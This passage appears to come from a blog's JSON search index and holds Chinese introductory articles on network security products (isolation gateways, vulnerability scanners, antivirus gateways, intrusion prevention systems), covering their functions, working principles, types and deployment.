安全隔离网闸，又名“网闸”、“物理隔离网闸”，是一种网络安全设备，用于实现不同安全级别网络之间的安全隔离，并提供适度可控的数据交换。安全隔离网闸是使用带有多种控制功能的固态开关读写介质连接两个独立网络系统的信息安全设备。物理隔离网闸从物理上隔离、阻断了具有潜在攻击可能的一切连接，使“黑客”无法入侵、无法攻击、无法破坏，实现了真正的安全，安全隔离闸门的功能模块有：安全隔离、内核防护、协议转换、病毒查杀、访问控制、安全审计、身份认证。\n二、安全隔离网闸的主要功能 安全隔离网闸是一种网络安全设备，旨在实现不同安全级别网络之间的安全隔离和数据交换。其主要功能包括：\n安全隔离：安全隔离网闸能够切断内网和外网之间的直接连接，通过专用硬件和软件实现内外网的物理隔离，确保内网的安全。 数据交换：安全隔离网闸可以实现不同安全域之间的适度可控的数据交换，通过专用协议进行数据传输和交换，同时对数据进行剥离、解密、校验等处理，保证数据的安全性和完整性。 协议转换：安全隔离网闸可以进行不同网络协议之间的转换，如将非通用的私有协议转换为通用的网络协议，或者将通用的网络协议转换为其他协议，以满足不同网络环境的需求。 病毒查杀：安全隔离网闸可以对交换的数据进行病毒检查，通过内置的病毒查杀功能模块对数据进行过滤和处理，防止病毒的传播和感染。 访问控制：安全隔离网闸可以进行访问控制，通过配置访问控制策略来限制不同用户或用户组对内网的访问权限，确保只有经过授权的用户可以访问内网资源。 安全审计：安全隔离网闸可以进行安全审计，对内外网之间的数据交换和访问行为进行记录和分析，帮助管理员进行安全监控和日志管理。 身份认证：安全隔离网闸可以进行身份认证，通过用户名、密码、数字证书等方式对用户进行身份验证，确保只有经过身份认证的用户可以访问内网资源。 安全隔离网闸可以有效地保护网络免受潜在的安全威胁，确保数据的安全性和完整性。\n三、安全隔离网闸的工作原理 其工作原理是通过专用硬件在电路上切断网络之间的链路层连接，形成物理隔离，从而能够在网络间进行安全适度的应用数据交换。安全隔离网闸通常由三个基本部分组成：内网处理单元、外网处理单元和隔离与交换控制单元（隔离硬件）。其中，内网处理单元负责处理内网的数据，外网处理单元负责处理外网的数据，而隔离与交换控制单元则负责在内外网之间建立一个安全的数据交换通道，以实现数据的传输和交换。\n1、内网处理单元 内网处理单元包括内网接口单元与内网数据缓冲区。接口部分负责与内网的连接，并终止内网用户的网络连接，对数据进行病毒检测、防火墙、入侵防护等安全检测后剥离出“纯数据”，作好交换的准备，也完成来自内网对用户身份的确认，确保数据的安全通道；数据缓冲区是存放并调度剥离后的数据，负责与隔离交换单元的数据交换。\n2、外网处理单元 外网处理单元与内网处理单元功能相同，但处理的是外网连接。\n3、隔离与交换控制单元（隔离硬件） 隔离与交换控制单元（隔离硬件）是网闸隔离控制的摆渡控制，控制交换通道的开启与关闭。控制单元中包含一个数据交换区，就是数据交换中的摆渡船。对交换通道的控制的方式目前有两种技术，摆渡开关与通道控制。摆渡开关是电子倒换开关，让数据交换区与内外网在任意时刻的不同时连接，形成空间间隔GAP，实现物理隔离。通道方式是在内外网之间改变通讯模式，中断了内外网的直接连接，采用私密的通讯手段形成内外网的物理隔离。该单元中有一个数据交换区，作为交换数据的中转。\n其中，三个单元都要求其软件的操作系统是安全的，也就是采用非通用的操作系统，或改造后的专用操作系统。一般为Unix BSD或Linux的经安全精简版本，或者其他是嵌入式操作系统等，但都要对底层不需要的协议、服务删除，使用的协议优化改造，增加安全特性，同时提高效率。\n如果针对网络七层协议，安全隔离网闸是在硬件链路层上断开。\n安全隔离网闸的部署方式一般是在两套网络之间，它可以实现物理隔离，阻断网络中的TCP等协议，使用私有协议进行数据交换。在对网络要求稍微高一些的单位，如政府、军队、公安、银行等，通常会用到安全隔离网闸来确保网络安全。\n四、安全隔离网闸的分类 隔离网闸的主要类型包括硬件隔离网闸和软件隔离网闸。 硬件隔离网闸通常是一种独立的设备，它通过物理隔离的方式对网络进行安全保护，具有较高的安全性和稳定性。这种网闸通过专用安全隔离切换装置（数据暂存区）、内部处理单元和外部处理单元等硬件组成部分，在任一时刻仅连通内部或外部处理单元，从而实现内外网的安全隔离。 而软件隔离网闸则是一种基于软件的安全隔离技术，它可以通过虚拟化、隔离容器等技术对网络进行安全隔离，具有较高的灵活性和可控性。这种网闸通常不需要额外的硬件设备，而是在现有的计算机系统中通过软件实现网络隔离和数据交换。\n此外，根据应用场景和需求的不同，隔离网闸还可以分为不同的类型，例如单向隔离网闸和双向隔离网闸。 单向隔离网闸的数据流是单向的，也就是说，数据只能从一个方向流动，不能从另一个方向流动。这通常是为了确保网络的安全性，防止潜在的安全威胁和数据泄露。 而双向隔离网闸则是双向可流动的，也就是说，数据可以从内网流向外网，也可以从外网流向内网。这种类型的网闸通常用于需要频繁进行数据交换的场景，例如政府部门、金融行业等。\n五、安全隔离网闸与防火墙的区别 安全隔离网闸与防火墙是两种不同的网络安全设备，它们的主要区别在于应用场景、硬件架构和功能等方面。 首先，应用场景方面，防火墙主要用于保护内部网络免受外部网络的攻击和入侵，它通常部署在内部网络和外部网络之间，确保内网的安全性。而安全隔离网闸则主要用于实现不同安全域之间的安全隔离和数据交换，它通常部署在两个或多个安全域之间，确保不同安全域之间的数据传输和交换的安全性。\n其次，硬件架构方面，防火墙是单主机架构，通过软件来实现安全功能，早期的防火墙采用包过滤技术，现代的防火墙则采用更高级的技术如代理技术和UTM等。而安全隔离网闸则是双主机架构，通过硬件和软件结合的方式实现安全功能，它包括内网处理单元、外网处理单元和隔离与交换控制单元等部分。\n此外，功能方面，防火墙主要用于过滤和监测网络流量，识别和防御各种网络威胁，保证网络通信的安全性。而安全隔离网闸则除了可以过滤和监测网络流量外，还可以实现不同安全域之间的安全隔离和数据交换，保证不同安全域之间数据传输的安全性和可控性。\n防火墙和安全隔离网闸是两种不同的网络安全设备，它们在应用场景、硬件架构和功能等方面存在明显的区别。在实际应用中，可以根据具体的需求选择适合的网络安全设备来实现网络安全防护。\n四、安全隔离网闸的应用场景 安全隔离网闸的应用场景主要包括以下几个方面：\n涉密网络与非涉密网络之间：安全隔离网闸能够实现涉密网络与非涉密网络之间的物理隔离，确保涉密信息的安全。这种应用场景在政府、军队、公安等需要处理敏感信息的机构中非常常见。 局域网与互联网之间（内网与外网之间）：对于一些局域网络，特别是政府办公网络，有时需要与互联网在物理上断开，以保证网络的安全性。安全隔离网闸可以在需要时连接内外网，实现数据的安全交换。 办公网与业务网之间：由于办公网络与业务网络的信息敏感程度不同，例如银行的办公网络和银行业务网络。为了提高工作效率，办公网络有时需要与业务网络交换信息。安全隔离网闸可以实现两类网络的物理隔离，保证业务网络的安全。 电子政务的内网与专网之间：在电子政务系统建设中，要求政府内网与外网之间用逻辑隔离，而在政府专网与内网之间用物理隔离。安全隔离网闸是实现这种物理隔离的常用设备。 业务网与互联网之间：例如电子商务网络一边连接着业务网络服务器，一边通过互联网连接着广大民众。安全隔离网闸可以在业务网与互联网之间建立一道安全屏障，防止来自互联网的潜在威胁。 此外，安全隔离网闸还可用来隔离保护主机服务器或专门隔离保护数据库服务器。在需要保证高安全级别的网络环境中，如政府、军队、公安、银行、工商、航空、电力和电子商务等，安全隔离网闸都有着广泛的应用。\n博客地址：http://xiejava.ishareread.com/\n关注：微信公众号,一起学习成长！\n","permalink":"http://xiejava.ishareread.com/posts/2024-01-27-%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8%E4%BA%A7%E5%93%81%E4%B9%8B%E8%AE%A4%E8%AF%86%E5%AE%89%E5%85%A8%E9%9A%94%E7%A6%BB%E7%BD%91%E9%97%B8/","summary":"\u003cp\u003e随着互联网的发展，网络攻击和病毒传播的方式越来越复杂，对网络安全的要求也越来越高。传统的防火墙设备在面对一些高级的网络攻击时，往往难以做到全面的防护，因此需要一种更加有效的网络安全设备来提高网络的安全性。此外，随着信息技术的不断发展，各个行业对信息系统的依赖程度也越来越高，一旦信息系统遭受攻击或入侵，可能会导致数据泄露、系统瘫痪等严重后果。因此，对于一些高安全级别的网络环境，如政府、军队、公安、银行等，需要一种更加可靠的安全设备来保证网络的安全性。在这样的背景下，安全隔离网闸作为一种新型的网络安全设备应运而生。本文让我们一起来认识安全隔离网闸。\u003c/p\u003e","title":"网络安全产品之认识安全隔离网闸"},{"content":"漏洞是指在硬件、软件、协议的具体实现或系统安全策略上存在的缺陷，从而使攻击者能够在未授权的情况下访问或破坏系统。关于什么是漏洞及如何管理漏洞请参考《安全运营之漏洞管理》。漏洞的形成原因有很多，例如后门、程序员自身的素质、网络协议等都可能导致漏洞的产生。因此，为了保障系统的安全性，需要及时发现和修复漏洞。这可以通过漏洞扫描设备等工具进行自动化检测和修复，同时也可以加强安全意识和培训，提高人员的安全防范能力。虽然无法完全避免漏洞的存在，但通过采取有效的措施可以大大减少漏洞的数量和危害程度，保障系统的安全性和稳定性。本文让我们一起来认识漏洞扫描设备。\n一、什么是漏洞扫描设备 漏洞扫描设备是一种用于对企业网络进行漏洞扫描的专业硬件设备。它能够自动检测远程或本地计算机系统的安全脆弱性，发现可利用的漏洞，并提供相应的修复建议。漏洞扫描设备基于漏洞数据库，通过扫描等手段对指定的计算机系统进行安全检测，从而发现系统中的安全漏洞。其主要功能包括对网站、系统、数据库、端口、应用软件等网络设备进行智能识别扫描检测，并对其检测出的漏洞进行报警提示管理人员进行修复。同时，漏洞扫描设备还可以对漏洞修复情况进行监督并自动定时对漏洞进行审计，提高漏洞修复效率。\n漏洞扫描设备在网络安全领域中发挥着重要的作用。它可以及时发现和修复网络中存在的安全漏洞，提高系统的安全性，降低被攻击的风险。在实际使用中，可以根据需要选择合适的扫描技术和工具，以最大程度地保障网络安全。\n二、漏洞扫描设备的主要功能 漏洞扫描设备是网络安全产品中的一种重要设备，用于自动检测和评估网络中的漏洞和弱点。漏洞扫描设备可以对网站、系统、数据库、端口、应用软件等一些网络设备应用进行智能识别扫描检测，并对其检测出的漏洞进行报警提示管理人员进行修复。同时可以对漏洞修复情况进行监督并自动定时对漏洞进行审计提高漏洞修复效率。以下是漏洞扫描设备的主要功能和特点：\n漏洞检测：漏洞扫描设备能够对网络中的各种设备和系统进行自动化的漏洞检测，包括操作系统、数据库、网络设备、应用程序等。它通过模拟攻击者的行为来尝试利用各种漏洞，并记录下目标系统的反应，以判断是否存在漏洞。 脆弱性评估：漏洞扫描设备能够对目标系统的脆弱性进行评估，识别出可能被攻击者利用的漏洞和弱点。它还能够提供详细的漏洞描述和影响范围，帮助管理员及时了解系统存在的安全风险。 实时监测：漏洞扫描设备可以实时监测网络中的异常行为和恶意攻击，及时发现并阻止潜在的入侵行为。它还可以与防火墙、入侵检测系统等其他安全设备进行联动，共同构建起强大的安全防护体系。 报告生成：漏洞扫描设备能够生成详细的漏洞报告，列出已检测到的漏洞信息和修复建议。这些报告可以帮助管理员快速了解系统的安全状况，并制定相应的修复计划。 自动化修复：一些高端的漏洞扫描设备还具备自动化的修复功能，能够自动安装补丁或配置安全设置，以消除检测到的漏洞。这大大提高了漏洞修复的效率和安全性。 漏洞扫描设备是网络安全体系中不可或缺的一部分。通过使用漏洞扫描设备，企业可以及时发现和修复网络中的漏洞和弱点，提高系统的安全性，降低被攻击的风险。\n三、漏洞扫描设备的主要技术 当前，网络安全漏洞扫描技术的两大核心技术是端口扫描技术和漏洞扫描技术。 端口扫描技术主要是通过扫描目标主机的网络端口，了解目标主机上开放的网络服务，从而发现可能存在的安全漏洞。端口扫描技术可以帮助网络管理员了解目标主机的网络服务状态和安全风险，常见的端口扫描方法包括TCP扫描、UDP扫描和操作系统探测等。\n漏洞扫描技术则是基于漏洞数据库和漏洞检测工具，通过模拟攻击者的攻击方式对目标系统进行漏洞检测的技术。漏洞扫描技术能够检测出目标系统中可能存在的安全漏洞，如缓冲区溢出、SQL注入、跨站脚本攻击等。\n端口扫描技术主要关注目标主机的网络服务状态和安全风险，而漏洞扫描技术则通过模拟攻击者的攻击方式来检测目标系统中可能存在的安全漏洞。具体包括：\n主机扫描：确定在目标网络上的主机是否在线。 端口扫描：发现远程主机开放的端口以及服务。 OS识别技术：根据信息和协议栈判别操作系统。 漏洞检测数据采集技术：按照网络、系统、数据库进行扫描。 智能端口识别、多重服务检测、安全优化扫描、系统渗透扫描。 多种数据库自动化检查技术，数据库实例发现技术。 在实际使用中，可以根据需要选择合适的扫描技术和工具，以最大程度地保障网络安全。\n四、漏洞扫描设备的主要类型 针对网络的扫描器：基于网络的扫描器就是通过网络来扫描远程计算机中的漏洞。价格相对来说比较便宜；在操作过程中，不需要涉及到目标系统的管理员，在检测过程中不需要在目标系统上安装任何东西；维护简便。 针对主机的扫描器：基于主机的扫描器则是在目标系统上安装了一个代理或者是服务，以便能够访问所有的文件与进程，这也使得基于主机的扫描器能够扫描到更多的漏洞。 针对数据库的扫描器：数据库漏洞扫描系统可以检测出数据库的DBMS漏洞、缺省配置、权限提升漏洞、缓冲区溢出、补丁未升级等自身漏洞。 Web应用扫描器：专门用于扫描Web应用程序的漏洞，例如SQL注入、跨站脚本（XSS）和跨站请求伪造（CSRF）等，可以模拟攻击者的行为，识别应用程序中的漏洞并生成报告。 移动应用扫描器：用于扫描移动应用程序中的漏洞和安全问题，可以检测移动应用中的API漏洞、不安全的数据存储和未加密的通信等问题。 五、漏洞扫描设备的使用方式 独立式部署：在网络中只部署一台漏扫设备，接入网络并进行正确的配置即可正常使用，其工作范围通常包含用户企业的整个网络地址。用户可以从任意地址登录漏扫系统并下达扫描评估任务，检查任务的地址必须在产品和分配给此用户的授权范围内。 多级式部署：对于一些大规模和分布式网络用户，建议使用分布式部署方式。在大型网络中采用多台漏扫系统共同工作，可对各系统间的数据共享并汇总，方便用户对分布式网络进行集中管理。 六、漏洞扫描设备如何与其他安全设备联动 漏洞扫描设备可以通过多种方式与其他安全设备进行联动，以提高安全防护的效果。以下是漏洞扫描设备与其他安全设备联动的几种常见方式：\n防火墙联动：漏洞扫描设备可以与防火墙进行联动，将扫描结果与防火墙的规则进行匹配，实现对漏洞的自动隔离和修复。例如，当漏洞扫描设备检测到某个主机存在高危漏洞时，可以向防火墙发送指令，暂时关闭该主机的网络访问，直到漏洞被修复为止。 入侵检测系统（IDS）联动：漏洞扫描设备可以与IDS进行联动，将扫描结果与IDS的规则进行匹配，实现实时监测和报警。当IDS检测到异常行为或攻击时，可以向漏洞扫描设备发送指令，进行进一步的检测和响应。 Web应用防火墙（WAF）联动：对于Web应用漏洞的扫描，漏洞扫描设备可以与WAF进行联动。当WAF检测到恶意请求或攻击时，可以向漏洞扫描设备发送指令，进行进一步的检测和响应。同时，WAF还可以将扫描结果与自身的规则进行匹配，实现自动过滤和防御。 身份认证系统联动：漏洞扫描设备可以与身份认证系统进行联动，实现对用户的身份认证和访问控制。通过将扫描结果与身份认证系统的用户信息进行匹配，可以实现对用户访问权限的精细控制，提高系统的安全性。 安全信息和事件管理（SIEM）系统联动：漏洞扫描设备可以与SIEM系统进行联动，将扫描结果和安全事件信息统一纳入SIEM系统中进行集中管理和分析。通过SIEM系统，管理员可以全面了解网络的安全状况，并及时采取相应的措施进行处置。 漏洞扫描设备与其他安全设备的联动可以实现信息共享、协同防御和快速响应的效果。通过将不同安全设备的优势结合起来，可以构建起更加完善和强大的安全防护体系。\n七、漏洞扫描设备的应用场景 定期的网络安全自我检测、评估 通过漏洞扫描设备进行安全检测可帮助客户最大可能的消除安全隐患，尽可能早地发现安全漏洞并进行修补，有效的利用已有系统，提高网络的运行效率。 安装新软件、启动新服务后的检查 由于漏洞和安全隐患的形式多种多样，安装新软件和启动新服务都有可能使原来隐藏的漏洞暴露出来，因此进行这些操作之后应该重新扫描系统，才能使安全得到保障。 网络安全事故后的分析调查 网络安全事故后可以通过网络漏洞扫描/网络评估系统分析确定网络被攻击的漏洞所在，帮助弥补漏洞，尽可能多得提供资料方便调查攻击的来源。 重大网络安全事件前的准备 重大网络安全事件前网络漏洞扫描/网络评估系统能够帮助用户及时的找出网络中存在的隐患和漏洞，帮助用户及时的弥补漏洞。可以对网站、系统、数据库、端口、应用软件等一些网络设备应用进行智能识别扫描检测，并对其检测出的漏洞进行报警提示管理人员进行修复。同时可以对漏洞修复情况进行监督并自动定时对漏洞进行审计提高漏洞修复效率。 博客地址：http://xiejava.ishareread.com/\n关注：微信公众号,一起学习成长！\n","permalink":"http://xiejava.ishareread.com/posts/2024-01-24-%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8%E4%BA%A7%E5%93%81%E4%B9%8B%E8%AE%A4%E8%AF%86%E6%BC%8F%E6%B4%9E%E6%89%AB%E6%8F%8F%E8%AE%BE%E5%A4%87/","summary":"\u003cp\u003e漏洞是指在硬件、软件、协议的具体实现或系统安全策略上存在的缺陷，从而使攻击者能够在未授权的情况下访问或破坏系统。关于什么是漏洞及如何管理漏洞请参考《\u003ca href=\"http://xiejava.ishareread.com/posts/a937cbf5/\"\u003e安全运营之漏洞管理\u003c/a\u003e》。漏洞的形成原因有很多，例如后门、程序员自身的素质、网络协议等都可能导致漏洞的产生。因此，为了保障系统的安全性，需要及时发现和修复漏洞。这可以通过漏洞扫描设备等工具进行自动化检测和修复，同时也可以加强安全意识和培训，提高人员的安全防范能力。虽然无法完全避免漏洞的存在，但通过采取有效的措施可以大大减少漏洞的数量和危害程度，保障系统的安全性和稳定性。本文让我们一起来认识漏洞扫描设备。\u003c/p\u003e","title":"网络安全产品之认识漏洞扫描设备"},{"content":"在互联网发展的初期，网络结构相对简单，病毒通常利用操作系统和软件程序的漏洞发起攻击，厂商们针对这些漏洞发布补丁程序。然而，并不是所有终端都能及时更新这些补丁，随着网络安全威胁的不断升级和互联网的普及，病毒往往能够轻易地感染大量计算机。在这样的背景下，防毒墙应运而生。 接下来让我们认识一下防毒墙。\n一、什么是防毒墙 防毒墙是一种网络安全设备，通常部署在网络的入口处，用于对网络传输中的病毒进行过滤。通俗地说，防毒墙可以部署在企业局域网和互联网交界的地方，阻止病毒从互联网侵入内网。防毒墙通过多种技术手段来检测和过滤病毒，包括启发式分析、特征码匹配、行为分析、人工智能等。它能够识别和阻止各种类型的病毒，包括文件病毒、宏病毒、蠕虫病毒、木马病毒等。防毒墙主要体现在病毒杀除的功能，同时部分设备也具有关键字过滤（如色情、反动）、垃圾邮件阻止和一定防火墙的功能。\n二、防毒墙主要功能 1、专注病毒过滤，阻断病毒传输，工作协议层为ISO的2-7层，分析数据包中的传输数据内容，运用病毒分析技术处理病毒体，具有防火墙访问控制功能模块 2、基于网络层过滤病毒，主动防御病毒于网络之外；网关设备配置病毒过滤策略，方便、扼守咽喉；过滤出入网关的数据；与杀毒软件联动建立多层次反病毒体系。 3、内容过滤，防毒墙可以对网络流量中的内容进行过滤，如禁止不适当的网站、阻止恶意邮件等。 4、部分设备也具有一定防火墙，能够检测进出网络内部的数据，对http、ftp、SMTP、IMAP和POP3五种协议的数据进行病毒扫描，一旦发现病毒就会采取相应的手段进行隔离或查杀，在防护病毒方面起到了非常大的作用。\n三、防毒墙的工作原理 防毒墙是一种专门设计用于检测和阻止网络传输中的病毒和其他恶意软件的网络安全设备。它的工作原理主要涉及以下几个步骤：\n智能感知引擎：防毒墙首先通过智能感知引擎对网络流量进行深层分析，识别出流量对应的协议类型和文件传输的方向。这一步是为了判断文件传输所使用的协议和文件传输的方向是否支持病毒检测。 特征提取与匹配：一旦流量被识别并经过初步筛选，防毒墙会进行特征提取。提取后的特征与防毒墙中的病毒特征库进行匹配。如果匹配成功，则认为该文件为病毒文件，并按照配置文件中的响应动作进行处理。 白名单机制：为了提高反病毒的检测效率，防毒墙支持白名单机制。管理员可以为信任的域名、URL、IP地址或IP地址段配置白名单规则。对于命中白名单的流量，防毒墙将不会对其进行病毒检测。 联动检测功能：为了增强病毒检测的准确性，对于未命中病毒特征库的文件，防毒墙具备联动检测功能。通过将文件送入沙箱进行深度检测，进一步提高对未知病毒的防范能力。 日志系统：防毒墙还提供日志系统，用于定位感染源。通过分析日志数据，管理员可以追踪病毒的来源，及时发现并处理安全威胁。 防毒墙通过上述步骤对网络流量进行实时检测和过滤，旨在阻止病毒和其他恶意软件的传播，保护企业网络的安全。\n四、防毒墙的查杀方式 防毒墙的查杀方式主要包括特征码技术和行为查杀技术两种。\n特征码技术：防毒墙通过病毒特征库来识别病毒，特征库包含了各种病毒的特征码。当防毒墙扫描到被检测信息与特征库中的特征码匹配时，就认为该被检测信息为病毒。特征码技术是传统的病毒查杀方式，准确率高，但是对新病毒的应对能力较差。 行为查杀技术：当病毒在运行的时候会有各种行为特征，比如会在系统里增加有特殊后缀的文件，监控用户行为等。防毒墙通过监控病毒的行为特征，当检测到某被检测信息有这些特征行为时，则认为该被检测信息为病毒。行为查杀技术对新病毒的应对能力强，但是误报率较高。 在实际应用中，防毒墙通常会结合使用这两种技术，以提高病毒的查杀效果。同时，防毒墙也会不断更新病毒库和升级引擎，以应对不断变化的病毒威胁。\n防毒墙通过多种技术手段来识别高危险性的安全漏洞。以下是一些常用的技术：\n漏洞扫描：防毒墙具备漏洞扫描功能，可以定期或实时地对网络中的终端设备进行漏洞扫描，检查操作系统、应用程序等是否存在已知的漏洞。一旦发现漏洞，防毒墙会立即发出警报，并采取相应的措施进行修复或隔离。 威胁情报：防毒墙通过收集和分析威胁情报数据，了解最新的病毒、恶意软件、黑客组织等信息，从而发现高危险性的安全漏洞。防毒墙会将这些情报数据与网络流量进行比对，一旦发现异常行为或可疑数据，就会立即进行拦截和清除。 行为分析：防毒墙通过监控网络流量中病毒的行为特征，可以识别出高危险性的安全漏洞。例如，某些病毒会在系统里增加有特殊后缀的文件、监控用户行为等。防毒墙通过分析这些行为特征，一旦发现可疑行为，就会立即采取相应的措施进行处置。 人工智能技术：防毒墙采用人工智能技术，通过机器学习和深度学习算法，不断学习和分析网络流量中的数据特征，从而识别出高危险性的安全漏洞。人工智能技术可以自动识别未知病毒、恶意软件等威胁，并采取相应的措施进行拦截和清除。 五、防毒墙的使用方式 1、透明模式：串联接入网络出口处，部署简单。 2、旁路代理模式：强制客户端的流量经过防病毒网关，防病毒网关仅仅需要处理要检测的相关协议，不需要处理其他协议的转发，可以较好的提高设备性能。 3、旁路模式：与旁路代理模式部署的拓扑一样，不同的是，旁路模式只能起到检测作用，对于已检测到的病毒无法做到清除。\n六、防毒墙的应用场景 防毒墙的应用场景主要包括以下几个方面：\n保护内部终端免受来自互联网的病毒攻击：对于无法保证内网所用终端全部安装杀毒软件或存在安全漏洞的企业，防毒墙可以部署在网关处，阻挡病毒从互联网进入内网，保护内网终端的安全。 控制病毒在网络之间爆发传播：大型网络中可能存在多个单位网络互联的情况，一个单位的病毒爆发可能会引发整个大网络的病毒传播。防毒墙可以部署在各单位网络边缘，严格控制病毒在网络之间的传播，防止大规模的病毒爆发。 保护重点服务器：随着服务器的广泛应用，防毒墙可以部署在网络出口处及接在重点服务器前，保护企业上网和服务器不受病毒入侵。 隔离外来不安全终端：当外来人员在企业内网进行访问互联网时，可能会携带病毒。在隔离区出口处部署防毒墙可以保护内部终端安全。 U盘感染终端控制：U盘是病毒传播的重要途径之一。使用防毒墙可以帮助企业建立U盘安全区，当U盘安全使用区计算机含有病毒访问企业内部资源时，防毒墙进行病毒的过滤。 阻止内网终端对外部不良资源的滥用：防毒墙可以对网络流量中的内容进行过滤，如禁止不适当的网站、阻止恶意邮件等，从而防止内部用户滥用外部不良资源。 防毒墙适用于各种复杂的网络拓扑环境，可以根据用户的不同需要，具备针对HTTP、FTP、SMTP和POP3协议内容检查、清除病毒的能力，同时通过实施安全策略可以在网络环境中的内外网之间建立一道功能强大的防火墙体系。\n七、防毒墙与防火墙 防毒墙与防火墙虽然只有一个字不同，但是他们是两种不同的网络安全产品，主要区别在于防护的侧重点和功能。 防火墙主要关注网络层的安全，通过IP地址、端口号等网络层面信息来判断是否允许数据包通过，从而防止非法访问和攻击。防火墙通常部署在网络的入口处，对所有进出的网络流量进行过滤和防护。\n防毒墙则主要关注应用层的安全，通过对网络流量中的数据进行深度检测和过滤，来防止计算机病毒、蠕虫、特洛伊木马等恶意软件的传播。防毒墙通常部署在网络出口处，对所有进出的网络流量进行实时检测和过滤。\n防火墙和防毒墙都是非常重要的网络安全产品，在实际应用中可以根据具体情况选择部署。同时，为了确保网络安全，还需要结合其他安全措施，如加密技术、身份认证等，来提高整个网络的安全性。\n博客：http://xiejava.ishareread.com/\n关注：微信公众号,一起学习成长！\n","permalink":"http://xiejava.ishareread.com/posts/2024-01-22-%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8%E4%BA%A7%E5%93%81%E4%B9%8B%E8%AE%A4%E8%AF%86%E9%98%B2%E6%AF%92%E5%A2%99/","summary":"\u003cp\u003e在互联网发展的初期，网络结构相对简单，病毒通常利用操作系统和软件程序的漏洞发起攻击，厂商们针对这些漏洞发布补丁程序。然而，并不是所有终端都能及时更新这些补丁，随着网络安全威胁的不断升级和互联网的普及，病毒往往能够轻易地感染大量计算机。在这样的背景下，防毒墙应运而生。\n接下来让我们认识一下防毒墙。\u003c/p\u003e","title":"网络安全产品之认识防毒墙"},{"content":"由于网络安全威胁的不断演变和增长。随着网络技术的不断发展和普及，网络攻击的种类和数量也在不断增加，给企业和个人带来了巨大的安全风险。传统的防火墙、入侵检测防护体系等安全产品在面对这些威胁时，存在一定的局限性和不足，无法满足当前网络安全的需求。入侵防御系统(IPS)作为一种主动防御的解决方案应运而生。它可以实时检测和防御网络流量中的恶意攻击和威胁，通过串接的方式部署在网络中，对入侵行为进行实时阻断，从而极大地降低了入侵的危害。入侵防御系统（IPS）的出现弥补了传统安全产品的不足，为网络安全提供了更加全面和有效的防护方案。前面介绍了入侵检测系统（IDS）《网络安全产品之认识入侵检测系统》，本文我们来认识一下入侵防御系统（IPS）。\n一、什么是入侵防御系统 入侵防御系统（IPS） 是一种网络安全设施，主要用于监测和防御网络或系统活动中存在的恶意攻击和威胁。IPS能够监视网络流量和系统活动，检测已知和未知的攻击行为，一旦发现威胁，会立即启动防御机制，采取相应的措施来阻止或减轻攻击的影响。IPS倾向于提供主动防护，其设计宗旨是预先对入侵活动和攻击性网络流量进行拦截，避免其造成损失，而不是简单地在恶意流量传送时或传送后才发出警报。能够在保护网络和计算机系统免受攻击方面发挥强大的作用。\n二、入侵防御系统的主要功能 实时监测和防御：IPS能够实时监测网络流量和系统活动，一旦发现异常或恶意行为，能够立即启动防御机制，阻断恶意流量，防止攻击扩散。 网络入侵防护：IPS能够提供针对多种协议和层面的防护，包括网络层、应用层和系统层，全面防御各种攻击，如缓冲区溢出攻击、木马、蠕虫等。实时、主动拦截黑客攻击、蠕虫、网络病毒、后门木马、Dos等恶意流量，保护企业信息系统和网络架构免受侵害，防止操作系统和应用程序损坏或宕机。 深度检测和分析：IPS具备深度包检测（DPI）技术，能够对数据包进行深入分析，识别隐藏在其中的恶意代码、恶意命令或恶意流量模式等。 威胁情报整合：IPS能够整合威胁情报数据，了解最新的攻击手段、恶意软件、漏洞利用等信息，从而能够及时更新检测规则和防御策略。 自定义防护策略：用户可以根据自己的需求，通过自定义特征码进行防护，使IPS更加适应特定环境下的安全需求。 Web安全：基于互联网Web站点的挂马检测结果，结合URL信誉评价技术，保护用户在访问被植入木马等恶意代码的网站时不受侵害，及时、有效地第一时间拦截Web威胁。 流量控制和优化：阻断一切非授权用户流量，管理合法网络资源的利用，有效保证关键应用全天候畅通无阻，通过保护关键应用带宽来不断提升企业IT产出率和收益率。 上网行为监控：全面监测和管理IM即时通讯、P2P下载、网络游戏、在线视频，以及在线炒股等网络行为，协助企业辨识和限制非授权网络流量，更好地执行企业的安全策略。 三、入侵防御系统的工作原理 入侵防御系统（IPS）的工作原理主要基于实时检测和拦截网络流量中的恶意攻击和威胁。IPS通过直接嵌入到网络流量中，对网络流量进行实时检查，对异常活动或可疑内容进行检查后，再通过其他端口将信息传送到内部系统中。如果出现问题的数据包以及其他来自同一源头的后续数据包，都能在IPS设备中预先被过滤掉，这样就可以阻止恶意攻击和威胁进入网络。IPS还可以提供主动保护，针对被明确判断为攻击行为、会对网络、数据造成危害的恶意行为提前进行检测和防御，降低或是减免使用者对异常状况的处理资源开销。\n入侵防御系统的工作原理主要基于以下几个关键技术：\n流量分析：IPS能够实时监控网络流量，并对流量中的数据包进行分类、标记和检测。通过分析流量的协议、端口、流向等信息，以及数据包的载荷内容，IPS能够识别出异常流量和潜在的攻击行为。 威胁情报：IPS通过收集和分析威胁情报数据，了解最新的攻击手段、恶意软件、漏洞利用等信息，从而能够及时更新检测规则和防御策略。威胁情报可以来自于网络威胁情报平台、安全社区、安全研究机构等。 深度包检测（DPI）：DPI技术可以对数据包进行深度内容检测，识别出数据包中的各种应用层协议和内容特征。通过DPI技术，IPS能够检测出隐藏在数据包中的恶意代码、恶意命令或恶意流量模式等。 行为分析：IPS通过分析网络流量中数据包的行为模式，能够识别出异常行为和潜在的攻击行为。例如，IPS可以检测出未经授权的网络扫描、恶意扫描等行为，并采取相应的防御措施。 防御规则：IPS通过预设的防御规则，能够根据不同的攻击类型和场景，采取不同的防御措施。例如，对于已知的攻击手段，IPS可以采取过滤、阻断、隔离等措施；对于未知的攻击手段，IPS可以采取动态防御、沙箱隔离等措施。 入侵防御系统通过实时检测、分析网络流量和行为，以及采用威胁情报、深度包检测、行为分析和防御规则等技术手段，实现对网络安全的主动防护和实时防御。\n四、入侵防御系统的分类 入侵防御系统（IPS）有多种分类方式，以下是常见的几种分类：\n基于部署方式的分类： ● 串联部署：IPS串联部署在网络中，能够实时检测并阻断攻击流量，对正常的网络流量不产生影响。 ● 并联部署：IPS并联部署不会对网络流量产生影响，不会造成数据延迟、丢包等问题。 基于应用场景的分类： ● 网络入侵防御系统（NIPS）：普遍安装在需要保护的网段中，对网段中传输的各种数据包进行实时监视，并对这些数据包进行分析和检测。如果发现入侵行为或可疑事件，入侵防御系统就会发出警报甚至切断网络连接。 ● 